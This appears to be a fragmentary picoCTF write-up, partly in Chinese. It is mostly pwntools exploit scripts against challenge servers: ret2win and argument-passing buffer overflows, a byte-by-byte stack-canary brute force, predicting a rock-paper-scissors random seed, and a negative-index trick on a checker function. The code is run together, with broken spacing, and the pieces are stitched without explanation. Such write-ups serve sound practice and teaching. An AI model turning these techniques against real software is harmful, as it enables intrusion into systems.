io = conn() offset = 44 io.sendlineafter('Please enter your string: \n','a'*offset + p32(0x80491F6)) io.interactive()
Buffer overflow Two
需要控制函数的参数,正常打
1 2 3 4 5 6 7 8 9 10
+----------+ l padding l +----------+ ---- > rbp l ret_addr l ------------ payload = 'a' * offset + p32(win) + p32(0xdeadbeef) + p32(0xCAFEF00D) + p32(0xF00DF00D) l fake_ret l -----------+ l args l ------------
cancary = '' defleak_canary(): cancary = '' for i inrange (1,5): for j inrange(1,256): offset = **** # find by your self :) io = conn() io.sendlineafter("> ",str(-1)) # l Paddings.... l io.sendafter("Input> ",'a'*offset+cancary+chr(j)) # +--------------+ time.sleep(0.1) # l canary l ----> overflowed result = io.recvline() # +--------------+ if result == "Ok... Now Where's the Flag?\n": log.success(cancary) cancary += chr(j) break
if (strstr(player_turn, loses[computer_turn])) { // <--- detecting.... puts("You win! Play again?"); returntrue; } else { puts("Seems like you didn't win this time. Play again?"); returnfalse; } }
defconn(): arg = 2 if arg == 1: r = process([elf.path]) #env="LD_PRELOAD":libc if args.DEBUG: gdb.attach(r) else: r = remote("saturn.picoctf.net",53865)
return r
defaction(idx): global idd if idd != 1: io.sendlineafter("Type '2' to exit the program\r\n",'1') player = ["paper", "scissors", "rock"] io.recvuntil("Please make your selection (rock/paper/scissors):\r\n") io.sendline(player[idx]) idd = 2
io = conn() io.sendlineafter("Type '2' to exit the program\r\n",'1') idd = 1 ran = [''] random = process('./srand') for i inrange(1,6): ran.append(random.recvuntil('\n',drop=True))
printf("Tell me a story and then I'll tell you if you're a 1337 >> "); scanf("%127s", story); printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n"); scanf("%d %d", &num1, &num2);
defconn(): arg = 2 if arg == 1: r = process([elf.path]) #env="LD_PRELOAD":libc if args.DEBUG: gdb.attach(r) else: r = remote("saturn.picoctf.net",61713)
return r
easy = elf.sym['easy_checker'] hard = elf.sym['hard_checker'] offset = easy - hard # hard + x = easy io = conn()
# for i in range(1,40): # try: # io = conn() # payload = '\x50' * 16 + '\x39' # log.info(payload) # io.sendlineafter("Tell me a story and then I'll tell you if you're a 1337 >> ",payload) # # print(offset) # payload = '-{}'.format(i) + '\n' + str(offset) # io.sendlineafter("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n",payload) # resu = io.recvline() # if 'failed' not in resu: # break # gdb.attach(io) # pause() # except EOFError: # pass
payload = '\x50' * 16 + '\x39' log.info(payload) io.sendlineafter("Tell me a story and then I'll tell you if you're a 1337 >> ",payload) payload = '-16' + '\n' + str(offset) io.sendlineafter("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n",payload) io.interactive()
‘w‘, ‘a‘, ‘s‘, ‘d‘ moves your character and ‘Q‘ quits. You’ll need to improvise some wizardly abilities to find the flag in this dungeon crawl. ‘.‘ is floor, ‘#‘ are walls, ‘<‘ are stairs up to previous level, and ‘>‘ are stairs down to next level.